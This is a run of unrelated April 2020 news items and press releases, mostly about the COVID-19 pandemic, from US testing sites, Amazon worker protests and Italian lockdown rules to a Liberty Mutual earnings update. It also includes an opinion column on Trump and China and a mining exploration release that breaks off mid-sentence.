Shasta Community Health Center becomes second mobile testing site Scheduled to open late this week, health officials say the state's Testing Task Force has identified healthcare workers as the first group to receive testing for asymptomatic individuals. This new site will be run by OptumServe and testing will be by appointment only. If you're a healthcare worker, you can make an appointment before Friday, May 1, by calling 888-634-1123. RELATED: Chico set to be new community testing site for Butte County Also in the North State, Chico was announced to be a new community testing site for Butte County residents on April 24. The final location has not yet been determined but the planned start date is May 4, 2020. MADISON, Wis. - The Latest on the coronavirus outbreak in Wisconsin (all times local): 9:35 a.m. The Wisconsin Democratic Party will hold a virtual state convention on June 12, scrapping its original plans to gather at a water park in Wisconsin Dells for its annual gathering. The Democratic National Committee still plans to meet in person in Milwaukee for the national convention, which was pushed back a month until the week of August 17 due to the coronavirus. The state party convention will have a more limited agenda, including fewer speeches, with the move to virtual only. Democrats cancelled plans to debate and vote on its platform and resolutions, caucus meetings and changes to the partys constitution. The Wisconsin Republican Party last week announced it was delaying its state convention from mid-May to mid-July. That meeting is still scheduled to happen in person in Green Bay. ___ 8:45 a.m. Thirty-four Wisconsin state parks and recreational areas closed for three weeks will be able to reopen Friday as temperatures increase across the state and cases of coronavirus level off, Gov. Tony Evers announced Tuesday. Evers ordered the closure of 40 state parks and recreational areas on April 10, citing overcrowding that could hasten the spread of COVID-19, mounting trash, dwindling cleaning supplies and vandalism. Maintaining the parks has been more difficult after Evers waived entrance fees and closed park offices, visitor centres and bathrooms. Annual park passes will now be required and wont be for sale at the parks. The parks will open with new conditions, including reduced hours and closed on Wednesdays for maintenance. The closures included some of the states most popular hiking and camping destinations, all in southern and southeastern Wisconsin nearest to the most populated cities of Madison and Milwaukee. Parks in the rest of the state have remained open. Popular parks that will reopen include Devils Lake, Governor Dodge and Kettle Moraine. Under Evers order Tuesday, all but four of the closed parks will reopen on Friday. Natural areas that will remain closed are Gibraltar Rock; Pewits Nest; Parfreys Glen; and Dells of The Wisconsin River. Employees at a number of large companies are planning a joint walkout to protest companies that they say have disregarded the health and safety of essential workers while earning record profits. Workers at Amazon, Instacart, Whole Foods, Walmart, Target and FedEx plan to take part in the May 1 protest by calling out sick or walking off the job site, according to The Intercept. The workers are seeking better health and safety standards as well as hazard pay for working during the coronavirus pandemic. 'We are acting in conjunction with workers at Amazon, Target, Instacart and other companies for International Worker's Day to show solidarity with other essential workers in our struggle for better protections and benefits in the pandemic,' Daniel Steinbrook, a Whole Foods employee and strike organizer, told the outlet. Whole Foods workers are seen protesting earlier this month in Boston. On Friday, organizers have called for walkouts at Amazon, Instacart, Whole Foods, Walmart, Target, and FedEx Amazon's full statement in response to planned protest 'While we respect people's right to express themselves, we object to the irresponsible actions of labor groups in spreading misinformation and making false claims about Amazon during this unprecedented health and economic crisis. 'The statements made are not supported by facts or representative of the majority of the 500,000 Amazon operations employees in the U.S. who are showing up to work to support their communities. What's true is that masks, temperature checks, hand sanitizer, increased time off, increased pay, and more are standard across our Amazon and Whole Food Market networks already. 'Our employees are doing incredible work for their communities every day, and we have invested heavily in their health and safety through increased safety measures and the procurement of millions of safety supplies and have invested nearly $700 million in increased pay. Working globally with our teams and third parties we have gone to extreme measures to understand and address this pandemic with more than 150 process changes to-date. We spend every day focused on what else Amazon can do to keep our people and 'communities safe and healthy.' Advertisement Friday is May 1, which communist and socialist groups celebrate as International Workers' Day. The workers' coalition will unveil a set of demands, according to a press release due to be released on Wednesday. Among the demands are: compensation for all unpaid time off used since the beginning of the Covid-19 crisis in March; hazard pay or paid sick leave to be provided for the duration of the pandemic; protective equipment and all cleaning supplies to be provided at all times by the company; and a demand for full corporate transparency on the number of cases in facilities. In response to the planned protest, Amazon said in a statement to DailyMail.com: ''While we respect people's right to express themselves, we object to the irresponsible actions of labor groups in spreading misinformation and making false claims about Amazon during this unprecedented health and economic crisis.' 'What's true is that masks, temperature checks, hand sanitizer, increased time off, increased pay, and more are standard across our Amazon and Whole Food Market networks already,' the company said. The workers' complaints have found sympathy with New York Attorney General Letitia James, whose office wrote in a letter to Amazon last week that the company may have violated safety measures and labor practices amid the coronavirus pandemic as it fired a warehouse protest leader last month. Amazon employees hold a protest and walkout over conditions at the company's Staten Island distribution facility on March 30, 2020 in New York City 'Amazon's health and safety measures taken in response to the COVID-19 pandemic are so inadequate that they may violate several provisions of the Occupational Safety and Health Act,' James's office wrote in the letter, whose content was shared by a source familiar with the letter on Monday. Amazon terminated Christian Smalls, a critic of the company's warehouse conditions in the pandemic, on grounds that he put others at risk by violating his paid quarantine when he joined a demonstration at Amazon's Staten Island, New York, fulfillment center. Amazon terminated Christian Smalls, a critic of the company's warehouse conditions The letter, sent to the company on April 22, adds that preliminary findings 'raise serious concern that Amazon may have discharged (Smalls) in order to silence his complaints and send a threatening message to other employees that they should also keep quiet about any health and safety concerns.' Amazon said it has taken 'extreme measures' to keep its employees safe, according to a company statement cited by NPR, which first reported on the letter. 'We encourage anyone to compare the health and safety measures Amazon has taken, and the speed of their implementation, during this crisis with other retailers,' Amazon said. The letter also called on the e-commerce giant to close some warehouses for 'adequate sanitization and disinfection'. In response, Amazon spokeswoman Rachael Lighty said the e-commerce company did not terminate Smalls' employment for organizing a 15-person protest but because he put the health and safety of others at risk, adding that he also received numerous warnings for violating social distancing guidelines. 'He was also found to have had close contact with a diagnosed associate with a confirmed case of COVID-19 and was asked to remain home with pay for 14-days. Despite that instruction to stay home with pay, he came onsite further putting the teams at risk,' Lighty said. The world's largest online retailer has been facing intense scrutiny by lawmakers and unions over whether it is doing enough to protect staff from the novel coronavirus. In March, New York City Mayor Bill de Blasio said he ordered the city's human rights commission to open an investigation into the dismissal of Smalls. Last week, hundreds of Amazon warehouse employees in the US went on strike, organizers said. 'More than 350 workers have now pledged' to strike, the Athena coalition, a group of workers' rights organizations, said in a statement, adding that the stoppage would be effective 'starting today.' However, according to Amazon, unions 'grossly exaggerated' the level of participation in the protests. 'More than 250,000 people have come to work today, even more than last week to serve their communities,' spokeswoman Lisa Levandowski said. Grocery store workers and others stage a protest rally outside the Whole Foods Market, in the South End of Boston, to demand personal protective equipment earlier this month Two weeks ago, Amazon announced it was distributing millions of masks to employees and implementing temperature checks at all of its US and European sites. But, according to Athena, the application of these measures has been 'questioned repeatedly by workers on the ground.' The online retail giant has been accused since the start of the pandemic of failing to sufficiently protect its employees and of firing employees in the US who led protest movements. The protest comes just days before a planned online strike by Amazon coders and engineers. The company has said it will recruit 175,000 new employees in the US to help with runaway demand as people locked down because of the pandemic order things online. In a bid to make its exotic fish tank more appealing to visitors, an aquarium in the Chinese city of Guizhou wrote popular Chinese surnames on the live fish, attracting the wrong kind of attention in the process. Staff at the Guizhou Polar Ocean World thought they had struck gold when they came up with the idea of writing common surnames like Zhao, Hu or Wu on dozens of live fish in an exotic fish tank, but the response wasnt as positive as they had hoped. Photos and videos of the yellow fish with bright red Chinese characters painted on their bodies quickly went viral on social media and inspiring thousands of critical comments from the general public. Overwhelmed by the negative feedback, the Guizhou Polar Ocean World recently put out a statement saying that their exotic fish tank was generally overlooked by most visitors, and that the painted surnames were supposed to make the fish more appealing to the public. Photo: Global Times A placard that read Surname Fish! Can you find out where your surname is on the fish? was placed over the aquarium, and people did indeed engage with the tiny fish more but only so they could post the photos online later. The aquarium tried to downplay the whole thing, claiming that they only used edible food coloring so it doesnt hurt the fish, and that the stunt could also help popularize science, but people werent having any of it. Come let me write the word Wang on your face, one person replied to the aquariums statement. Its not harmful to humans but how can you be sure that its not harmful to the fish, someone else wrote. Many social media users accused the management of the aquarium of coming up with the cruel stunt just so they could squeeze more money out of visitors. Thats such a cheap gimmick to earn money from the visitors, a person commented. New Delhi: A special CBI court in Mumbai on Tuesday (April 28) rejected the anticipatory bail pleas of DHFL promoter Kapil Wadhawan and Dheeraj Wadhawan in the money laundering case involving Yes Bank founder Rana Kapoor. The Wadhawan brothers, who were arrested on April 26, have been remanded to CBI custody till April 29. The duo was arrested from Mahabaleshwar, a hill station more than 300km from Mumbai, nearly 50 days after they were booked in the multi-crore scam also involving former Yes Bank CEO and co-founder Rana Kapoor. The central agency, while seeking the duos custody, said their interrogation was necessary to find details of transactions between DHFL, Yes Bank and other companies involved in the case. Kapil and Dheeraj Wadhawans counsel Amit Desai filed bail applications on Monday, telling the court his clients would appear before the agency for questioning as and when required and cooperate with the probe. The Wadhawans, while seeking bail, said they should not be put in jail in view of the COVID-19 pandemic. The court kept the bail pleas pending and said since the duo has been remanded to CBI custody for two days, the applications would be taken up for consideration at a later stage. According to the CBI, Kapoor (62) entered into a criminal conspiracy with the Wadhawans for extending financial assistance to DHFL through Yes Bank in return for substantial undue benefits to himself and his family members through fictitious companies held by them. As per the agency, the scam took place between April and June 2018 when Yes Bank invested Rs 3,700 crore in short- term debentures of the tainted Dewan Housing Finance Corporation Ltd (DHFL). In return, the Wadhawans allegedly paid kickbacks worth Rs 600 crore to Kapoor and his family members in form of loans to DoIT Urban Ventures (India) Pvt Ltd, a company owned by Kapoor's wife and children, the CBI has said. Apart from the CBI case, the Enforcement Directorate (ED) had also initiated a probe against Kapil Wadhawan on charges of money laundering after the scam came to light. Kapil Wadhawan was arrested by the ED in January 2020 and later released on bail by a court. As this articles writing was in progress, the death toll in the US related to COVID-19 pandemic had almost breached the 50,000 mark. If this trend continues, it would not be surprising if in the next few weeks the total number of COVID- 19 related deaths in the US would touch the 1 lakh figure mark and sadly so. Read: When Trumpets Fade: Analysing The Assassination Of General Qassem Soleimani Read: China Issues Stung First Response As ICMR Cancels 15 Lakh Inaccurate Covid Test Kits Order The Forthcoming Litmus Test Later this year, on November 3, 2020, the American people would take part in the countrys 59th quadrennial presidential election to either re-elect the incumbent president, Donald Trump, for a second term or reject him in the same. As things stood just before the global outbreak of the COVID-19 pandemic, the forthcoming US presidential election was about Donald Trump only. And it still is. The only difference being that by the time the moment for polling would come, the US electorate would also take into consideration Trump Administrations handling of the pandemic and whether it has been able to penalize those who are alleged to have abetted the outbreak. The COVID-19 Death Toll in US and its Impact on US Elections Imagine a US President going for election with the burden of the death of countless American citizens occurring in the fag-end of his tenure and where he had to acknowledge that there will be a lot of death. Can the incumbent president, in such a scenario, cruise through the looming election without any payback or would, in usual American style, the electorate expect their President to act as a Super Hero and avenge those deaths? With US President almost hinting at possible consequence against China, in case they were knowingly responsible for the outbreak and its global spread, the moot question is this: Can Donald Trump expect to have a smooth ride in the forthcoming election without him declaring War against China to pacify the enraged US populace? Would Trumps Democrat challengers treat COVID-19 pandemic as a bygone mishap or capitalise on it to corner the incumbent President in the final face-off? A Missouri Lawsuit that Indicates Rising American Anger towards China Incidentally, a lawsuit filed in the US District Court in Eastern District of Missouri by Missouris Attorney General Eric Schmitt, gives a critical clue of the shape of things to come. The lawsuit has been filed against the Chinese Government and the Chinese Communist Party accusing them of suppression of critical information related COVID-19, misleading the world on the contagious nature of the virus, a crackdown on whistle-blowers, hoarding of Personal Protection Equipment, destruction of critical research and exposing millions to the virus. "The Chinese government lied to the world about the danger and contagious nature of COVID-19, silenced whistleblowers, and did little to stop the spread of the disease. They must be held accountable for their actions. stated Erich Schmitt. He also stated, COVID-19 has done irreparable damage to countries across the globe, causing sickness, death, economic disruption, and human suffering. Even though the lawsuit per se, may not have any impact on China right now, but is definitely a harbinger of the shape of things to come. Reeling under economic crisis and rising death toll, it is for sure that many other states in US would also file similar lawsuits, keeping in mind the popular sentiments, which might put tremendous pressure on the Trump Administration to act against China in some way or the other. The Democrat Strategy to Corner Trump However, it is not just the issue of lawsuits. It is also about those who are politically opposed to Trump. Democrat nominee and Trumps most potent challenger for November elections, Joe Biden, has already started targeting Trumps Achilless Heel. The uncomfortable truth is that this president left America exposed and vulnerable to this pandemic, stated Biden in one of this released videos perceived by many as a precursor of his possible campaign strategy. Biden further stated in the video, He (Trump) ignored the warnings of health experts and intelligence agencies, and put his trust in China's leaders instead." Certainly this is going to hurt Trumps invincibility image and this not something that he can shrug off casually. If one analyses what Tony Blinken, former Deputy Secretary of State and foreign policy advisor to Joe Biden stated, it gives a clear indication of how Democrats would try to pitch Biden as a messiah who would rescue the US from the mess that the US is now in. Blinken stated, President Trump went soft on China when it mattered most. Joe Biden will insist that China live up to its responsibilities. In such a scenario of a sustained attack on Trump, can Trump get a smooth ride without a vitriolic display of anger and vengeance towards the alleged perpetrator of COVID-19 outbreak, namely China? Would the electorate accept his inaction or term it as his weakness? Will US domestic politics play its part in shaping up global geopolitics in the next six months? The Forthcoming Bankruptcy in Shale Oil Industry In fact, the Covid-19 crisis has hit US in more than one way. Witness this: The futures contract for Western Texas Crude (WTI) crashed to minus $37.63 a barrel on 22nd April, 2020. If this trend continues, it is going to be a nightmarish situation for hundreds of American shale oil companies and the very future prospect of shale oil production in US. The American shale oil exploration and production companies have already been witnessing tough time for quite some time even before the pandemic started its carnage on people and industry. The intense competition from OPEC and Russia and their collective reluctance to cut their respective crude production for long, even during the global slowdown, hammered the viability of the American shale oil companies in a bloodied manner. The global oil glut meant that most had to over leverage to remain floating. But the COVID 19 crisis has been like a death knell. As per a research by Rystad Energy, if the price of oil continues to hover around the $20 a barrel bracket, almost 533 US based shale oil exploration and production companies may end up filing for bankruptcy by the end of 2021, while if the price crashes further and hover around the $10 a barrel mark, an estimated 1100 oil companies may end up filing for bankruptcy in US. This, one has to remember, indicates the impact on just the shale oil industry. The impact of COVID-19 pandemic across other sectors, including aviation and manufacturing, would be profound too. The Resultant COVID-19 Job Losses By the time the date for polling would come, the picture would get gloomier and the resultant job losses coupled with rising cases of bankruptcies would take a toll on the perception of the electorate. Already, as per reports, around 26 million Americans have been rendered unemployed since the COVID-19 outbreak and the number is only going to go up in the run up to the US elections later this year. Thus, no one would perhaps be any more interested in remembering what kind of trade deals President Trump facilitated or what he did in the past in reviving jobs in US because all that the electorate would remember is the carnage of the last six months on jobs and health. In such a scenario what would the US electorate expect from their Government? Mike Pompeos Statement on China: A Hint of the Future? If one takes a clue from the recent statement made by US Secretary of State, Mike Pompeo, during a television show where he stated that China will pay a price for what they did, then perhaps it clearly shows how things might shape up in US amidst the rising discontent and opposition pressure, and what US Administration may be compelled to do to deflect them. The Chinese Culpability and Unanswered Questions The Chinese culpability, in some or the other way, is beyond doubt. Their lackadaisical approach toward hazardous wet markets which are notorious for trading in exotic animals and past outbreak of pandemics, their total lack of transparency in dealing with sensitive issues, their alleged attempts to cover-up the outbreak and clamping down on whistle-blowers, their history of lab leaks, their selling of faulty testing kits, their suspicious actions allegedly in connivance with WHO, especially related to official statements by WHO with reference of Chinese testimony, which made the world falsely believe that human-to-human transmissions were not happening in case of COVID-19, in addition to a whole host of other unanswered questions definitely makes it difficult to give China a clean chit. Add to this the shocking instances of Chinese financial behemoths taking advantage of the global financial crisis and attempting to takeover distressed companies in crisis laden countries where valuations of companies have slumped thereby making them easy prey in stock markets. Would Only Demonstrable Anti-China Action Satisfy American Electorate? President Trump may be anything but a warmonger. During the last four years, the USA has been anything but belligerent. It has been more inward-looking and refused to continue the job of global policing. However if war is a continuation of politics by other means then Trump may either have to vow for demonstrable retribution or himself take the blame for the mess, US is right now in, and bow out of the presidential race. Since the second possibility can be ruled out, one can expect some form of hostility with China, be it diplomatic, cold or hot. Options Before Trump: A Resolution against China in UN to begin with? To begin with, the world might witness US taking a strong stand against China in the United Nations Security Council (UNSC) and the possibility of any strong resolution being passed or attempted to pass, cannot be ruled out, Chinese veto notwithstanding. The global mood having turned significantly against China, one should not be surprised if such resolutions, including seeking financial compensation from China, find unprecedented and overwhelming support across countries and continents. The grievance of many against China is not just about its alleged cover-ups on COVID-19 related crisis, but is also about its notorious cheque-book diplomacy that has pushed several small nations on the brink of bankruptcy. Incentivise US Companies to Shift Manufacturing out of China Further, one may also witness Trump proposing a Japan-type stimulus for all such American companies having their manufacturing base in China, to shift it elsewhere or bring them back to US. With more than 26 million Americans having already lost jobs since the COVID-19 related shutdowns, this may in some way boost Trumps prospects in the eyes of the American voters even though how much the American companies would pay heed to this idea is another issue. Can Financial Sanctions against China be Ruled Out? Not Really.. Often, US Administration has used economic sanctions as a medium to financially penalise countries. Since 2017, CAATSA or the Countering American Adversaries Through Sanctions Act has been in vogue which has been imposed by US on Russia, Iran and North Korea. If one is to go by Mike Pompeos statement on making China pay the price, one cannot rule out the possibility of US imposing some kind of major economic sanctions on China. Whether it would be feasible or find acceptability is another issue but in an election year, given the kind of quagmire that Trump Administration may find itself in, it may take this route in his attempt to pacify the nerves of electorates. Possibility of a Major Flare-up in Taiwan Strait or South China Sea Least of all, though not completely improbable, is the possibility of some kind of a major skirmish or face-off. Situation in the South China Sea or the Taiwan Strait are not really quiet in nature. Beneath the superficial surface of harmony, lies an uneasy anticipation for the worst. Chinese military exercises and manoeuvrings near Taiwanese airspace and territorial waters have not gone down well with Taiwanese Armed Forces. One wonders if the China has taken advantage of the global COVID-19 crisis to flex its military muscles. There were also reciprocal military exercises by Taiwan simulating interception of Chinese warplanes from mainland China. Also, for some time now, US Navy destroyers have been periodically making transits across the Taiwan Strait to bolster its show of solidarity with Taiwan and for sending a stern warning to China to avoid any mischief. The situation is not going to get better any sooner. In such a scenario, a conflict type situation, if not a real conflict, may give the maximum mileage to President Trump and quash at least some of the criticisms of the Joe Biden led Democrat campaign aimed at Trump and accusing him of being soft on China. Can US Still Pack a Military Punch? While it has been nearly two-and-a-half decade since the Third Taiwan Strait Crisis of 1995-96 and even though Chinese military has undergone massive modernisation since then, still US has enough military edge to pack a punch if it wants to. Also, it has to be noted that neither the Chinese Armed Forces nor its arsenal has been tested in real battles since the 1979 clash against Vietnam. While a full-fledged or even a local face-off may still be an unthinkable proposition, one must not forget that these are not normal times. The COVID-19 carnage both on human lives and economy may invariably provoke the mask of tranquillity to peel off. It is also highly unlikely that too many countries, beyond the usual suspects, would object if US really plans up something big. The Hobsons choice Situation for President Trump For Trump, therefore, the Hobsons choice is loud and clear. Either he has to seek vengeance on China in some or the other way, or risk facing adverse outcomes in the forthcoming elections if he maintains status-quo and appear, in the eyes of the electorate and opposition, to be conciliatory or accommodating towards the Chinese leadership. Trump may not be a war monger but perhaps only the declaration of that three lettered word, or something similar in the form of payback, can brighten his prospects. If COVID-19 Pandemic is perceived by the US Electorate as the Pearl Harbour Moment of this century, then given its magnitude of carnage, the writing on the wall is too crystal-clear for the US President to ignore. Read: Trevor Noah Mocks Donald Trumps Disinfectant Comment On The Daily Social Distancing Show Read: Oklahoma Governor Asks Donald Trump To Declare COVID-19 An 'Act Of God' (Author of this article, Pathikrit Payne is a New Delhi based Geopolitical Analyst. The views and opinions expressed are the personal opinions of the author. The facts, analysis, assumptions and perspective appearing do not reflect the views of Republic TV/ Republic World/ ARG Outlier Media Pvt. Ltd.) Officials on Monday said the man fatally shot by police in Wayne Sunday had a gun in his vehicle and led officers on chase through several towns before the deadly encounter. Bradley G. Pullman, 48, of Beacon, New York, was killed when multiple officers fired their weapons after the pursuit ended Sunday afternoon at the interchange of U.S. Route 46, Route 23 and Interstate 80, according to the New Jersey Attorney Generals Office. The incident began when Mountain Lakes police, using a marked cruiser, tried to stop a Lexus sedan that made an illegal U-turn around 4:40 p.m., the Attorney Generals Office said in a statement. The Lexus didnt stop, touching off the pursuit. Fairfield and Wayne police also assisted, according to the statement. Officials did not release details about what led officers to fire their weapons. A .380-caliber pistol was recovered from Pullmans vehicle. Pullman was pronounced dead at the scene, the statement said. State law mandates the Attorney Generals Office investigate deaths that occur during encounters with police. The office said it would not release more information on the case. Our journalism needs your support. Please subscribe today to NJ.com. Noah Cohen may be reached at ncohen@njadvancemedia.com. Los Sitios: No Man's Land in the Havana of Coronavirus "The people's disobedience is a direct result of the scant police presence in the neighborhood," say area residents. In the heart of Los Sitios, no one seems to care about the spread of the pandemic. Not even in the face of the outbreak of infections that overwhelmed Defense Council authorities in Central Havana last week, one of the most densely populated municipalities in the Cuban capital. In just one block, on Manrique between Sitios and Maloja, medical authorities confirmed three cases, while the rumor among residents is that there are more than a dozen suspected. Social insubordination runs amok anyway, in a neighborhood that seems to be a kind of "no man's land" in the midst of social isolation in Cuba. "The people's disobedience is a direct result of the scant police presence in the neighborhood," said Cari, pointing out the swarms of young people who "at all hours" throng at the corners and get in lines to buy soft drinks, regulated products at the bodegas, or for whatever the street vendors have. "The few police or military that come around are not proportional to the neighborhood's high level of risk. There are more than enough police and military personnel in this country, so it is inexplicable how, with the increase in police touted so much on television and in the press, their presence is practically nil in this neighborhood," added Cari. The capital's government decided to isolate several areas of Los Sitios, where there is the highest risk of Covid-19 infection in the entire city, as it has an incidence rate of 38.94 cases per 100,000 inhabitants. The Provincial Defense Council (CDP) noted that this is the only municipality in the country with three zones presenting elevated numbers of Covid-19 cases. Cari believes that on Monday they are going to close her block "because the three people infected live in one building" where another 20 people reside. In this "popular council" area with more than 32,500 inhabitants, police and military patrols cover the avenue of Reina, Monte and Belascoain, but are practically absent within the neighborhood, where failures to comply with basic isolation measures are the order of the day: people with no masks, wandering around unnecessarily, and huddled on corners and at entrances to rooming houses. The mother of a two-year old girl, Arletis, questioned the medical investigations' rigor and the monitoring of residents. "Since the quarantine was decreed, no one has visited my house for any kind of probe. This is supposed to be done regularly, home by home, person by person, and not by asking a neighbor or a family member, " complained Arletis, who also agreed that social insubordination would be the main catalyst for the expansion of the coronavirus in Los Sitios. "There isn't even a record of who was given drops, how often they are given, and who should not take them," Arletis said, referring to a homeopathic product, with no proven efficacy that, despite criticism from experts, the government distributes. Prevengho VIR, according to the Cuban Health authorities, is a "preventive homeopathic medicine [and is applied] as a prophylactic measure to prevent the spread of the new coronavirus causing Covid-19". Experts argue that these types of products are only useless placebos in the face of a pandemic like the current one. After learning the official data on the neighborhood, some residents of Los Sitios criticized the government for the delay in isolating it. Others have condemned the presence of at least two patrolmen "who come to visit their girlfriends or relatives" and "are the first to violate the rules established." "If you see a police officer without a mask, chatting with some young girls instead of enforcing order, what moral authority does he have to later reprimand those on a corner breaking quarantine rules?" asked Nereida, who stated that the inhabitants have complained to their Popular Power delegate "for it to transmit their concerns to the government." "It seems that the delegates do not work during a pandemic. Around here, in the heart of Los Sitios, it's all the same. Or is there also a shortage of police in Havana?" asked Nereida. BOSTON, April 28, 2020 /PRNewswire/ -- Liberty Mutual Holding Company, Inc., the parent corporation of the Liberty Mutual Insurance group of entities, today announced the estimated impact of the COVID-19 pandemic on its first quarter 2020 financial results. "As we face this unprecedented time, our heartfelt thanks go out to healthcare and other essential workers, and we extend our deepest sympathies to those most impacted by the pandemic," said Liberty Mutual Chairman and Chief Executive Officer, David Long. "Our top priority as a company has been the health and well-being of our employees, customers, partners and the communities where we live and work. As such, we have mobilized virtually all our employees to work from home, while continuing to provide top-tier service to our customers and have announced premium refund programs for our personal auto and small commercial policyholders to provide some relief in these difficult times. "While the pandemic is still evolving, from a financial perspective we expect the impact of COVID-19 on our insurance operations to be similar to those we have experienced for a moderately sized catastrophe loss. The areas of our business most exposed to insurance losses related to the pandemic and resulting economic downturn include trade credit, general liability, workers compensation, and event cancellation coverage, among others. "We anticipate the larger impact from COVID-19 will come through our investment portfolio, where we have taken realized and unrealized losses caused by the recent market downturn. We expect our net investment income will be dampened in the coming quarters as well by lower valuations on our private equity investments, which are reported on a quarter lag and thus not recognized in our first quarter results. Our liquidity position remains excellent, with access to over $6 billion in total, not including current cash on hand of $1.4 billion. We are confident in the strength and resiliency of our operations to allow us to endure these uncertain times and continue to serve our customers." Liberty Mutual also announced the following preliminary estimated information for the first quarter of 2020: Net written premium of approximately $10 billion : Our first quarter net written premium was not materially impacted by COVID-19, however we do expect COVID-19 and the related economic downturn to dampen net written premium growth in future quarters. : Our first quarter net written premium was not materially impacted by COVID-19, however we do expect COVID-19 and the related economic downturn to dampen net written premium growth in future quarters. Combined ratio of approximately 97% : While losses from COVID-19 had a marginal impact on the combined ratio in the quarter, we expect a more meaningful impact in the second and third quarters as the situation evolves and we continue to assess our potential exposure. : While losses from COVID-19 had a marginal impact on the combined ratio in the quarter, we expect a more meaningful impact in the second and third quarters as the situation evolves and we continue to assess our potential exposure. Total equity of approximately $23 billion : This would be down approximately 2% from December 31, 2019 . The decline in equity is primarily driven by unrealized investment losses, as a result of the market fallout stemming from COVID-19. We look forward to providing further detail when we release our first quarter 2020 financial results on May 14, 2020. The earnings release, financial results, and other supplemental information will be available on our website: www.libertymutualgroup.com/investors Risks and Uncertainties The extent to which the coronavirus impacts our future results will depend on developments which are highly uncertain and cannot be predicted, including litigation developments, legislative or regulatory actions and intervention, the length and severity of the coronavirus (including of second waves) and the actions of government actors to contain the coronavirus or treat its impact, among others. Possible effects on our business and operations include: disruptions to business operations resulting from working from home or from closures of our corporate or sales offices and the offices of our agents and brokers and quarantines of employees, customers, agents, brokers and suppliers in areas affected by the outbreak; disruptions to business operations resulting from travel restrictions and reduced consumer spending on new homes or new automobiles which could reduce demand for insurance; increased claims related to general liability, business interruption, workers comp, event cancellation coverage and other insurance; and disruption of the financial markets resulting in reductions in the value of our investment portfolio. A significant rise in the number of COVID-19 infections, infections in a wide range of countries and regions, or a prolongation of the outbreak, could create an adverse economic effect on the Company. Cautionary Statement Regarding Our Preliminary Estimated Financial Information Our financial statements as of and for the three months ended March 31, 2020 are not yet complete. Accordingly, we are presenting preliminary estimates of certain financial information that we expect to report as of and for the three months ended March 31, 2020. We have prepared the preliminary estimates on a materially consistent basis with the financial data we expect to present and in good faith based upon our internal reporting as of and for the three months ended March 31, 2020. These estimates are preliminary and unaudited and are inherently uncertain and subject to change as we complete our financial statements as of and for the three months ended March 31, 2020. Investors should exercise caution in relying on this information and should not draw any inferences from this information regarding financial or operating data not yet provided or available. Important factors that could cause actual results to differ from our preliminary estimates are set forth herein under the headings "Risks and Uncertainties" and "Cautionary Statement Regarding Forward Looking Statements." Cautionary Statement Regarding Forward Looking Statements This report contains forward looking statements that are intended to enhance the reader's ability to assess the future financial and business performance of Liberty Mutual Holding Company Inc., the parent corporation of the Liberty Mutual Insurance group of entities (the "Company" or "LMHC"). Forward looking statements include, but are not limited to, statements that represent the Company's beliefs concerning future operations, strategies, financial results investment market fluctuations, or other developments, and contain words and phrases such as "may," "expects," "should," "believes," "anticipates," "estimates," "intends" or similar expressions. Because these forward-looking statements are based on estimates and assumptions that are subject to significant business, economic and competitive uncertainties, many of which are beyond the Company's control or are subject to change, actual results could be materially different. In particular, while we believe our expectations for the impact of COVID-19 on our insurance operations are based on reasonable assumptions, those assumptions are based on our understanding and interpretation of currently available COVID-19 information and expected government action, all of which are subject to change and are beyond our control. See also "Risks and Uncertainties" above for example of factors that can impact our future results. These are unprecedented times and in this unique instance the Company decided to provide these statements. The Company, however, does not intend and does not undertake any obligation to update or revise these forward-looking statements, which speak only as of today's date or to obligate itself generally to make any other forward-looking statements in the future. About Liberty Mutual Insurance At Liberty Mutual, we believe progress happens when people feel secure. By providing protection for the unexpected and delivering it with care, we help people embrace today and confidently pursue tomorrow. In business since 1912, and headquartered in Boston, today we are the sixth largest global property and casualty insurer based on 2019 gross written premium. We also rank 75th on the Fortune 100 list of largest corporations in the U.S. based on 2018 revenue. As of December 31, 2019, we had $43.2 billion in annual consolidated revenue. We employ over 45,000 people in 29 countries and economies around the world. We offer a wide range of insurance products and services, including personal automobile, homeowners, specialty lines, reinsurance, commercial multiple-peril, workers compensation, commercial automobile, general liability, surety, and commercial property. For more information, visit www.libertymutualinsurance.com. For additional information contact: Edward Pena Senior Vice President and Treasurer 857-224-6655 [email protected] Richard Angevine Public Relations 617-574-6638 [email protected] SOURCE Liberty Mutual Insurance Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Roma, Italy Tue, April 28, 2020 06:12 625 fc6853813033f564188675f8bd48da77 2 World Italy,coronavirus,COVID-19,COVID-19-lockdown,COVID-19-quarantine,pandemic,global-crisis Free Just who is your relative anyway? That is what millions of stir crazy Italians have apparently been asking ever since Prime Minister Giuseppe Conte allowed them to leave their homes to see their loved ones starting next Monday. Media reports said "relative" became the most searched for term on the Italian internet for a few hours after Conte's Sunday night television address. Conte said Italians would be allowed to leave their homes for the first time since March 9 "to visit relatives, but only if they respect distance and wear masks". The only problem is that Italy has no legal definition of the term and people sounded genuinely confused. Most of the big papers devoted entire articles to the subject of whether your boyfriend or distant cousin provided a good enough legal excuse to leave your house. "Here is who you can call your relative," read a headline of the highbrow Il Sole 24 Ore financial daily. Its deep dive into the subject included a passage on "emotional relationships" and kinship. The paper concluded that engaged couples were safe but boyfriends and girlfriends were iffy. Other papers strongly disagreed. "Boyfriends are also relatives," the Il Messaggero newspaper declared in a headline. It quoted an unnamed "source" in Conte's office as saying that relatives could potentially include "stable boyfriends". Corriere della Sera said the prime minister's office planned to issue a "FAQ explainer" that could help dispel the confusion. Eventually Conte himself stepped into the fray. "A relative is a somewhat broad and generic term," he conceded to a group of reporters late Monday. "It does not mean that you can go to a friend's or someone else's house and have a party," he said to the likely disappointment of many. "These are people with whom you have family relations. Or, stable emotional relations," Conte said. Road Town, Tortola, British Virgin Islands--(Newsfile Corp. - April 28, 2020) - Talon Metals Corp. (TSX: TLO) ("Talon" or the "Company") is pleased to announce the successful completion of its Winter 2020 Exploration Program at the Tamarack Nickel-Copper-Cobalt project ("Tamarack Project"), located in Minnesota, USA. The Tamarack Project comprises the Tamarack North Project and the Tamarack South Project: Highlights from Drill Program 6 of 8 holes intersected massive sulphides or mixed massive sulphides; Intersected a total of 38 meters (125 feet) of mixed and massive sulphides in 6 holes (see Figure 1); Intersected an additional total of 363 meters (1,190 feet) of disseminated sulphides in 3 holes (see Figure 1); First assays received: 11.36 meters (37.3 feet) of 7.1 % Ni, 2.98% Cu, 0.14% Co, 1.11 g/t PGEs and 0.16 g/t Au (8.67% NiEq[1] or 23.11% CuEq[2]) starting at 555.05m (drill hole 12TK0153A). Assays remain pending for the other 7 drill holes; Exploration program was executed under budget, as historical parent drill holes were used to branch off to drill 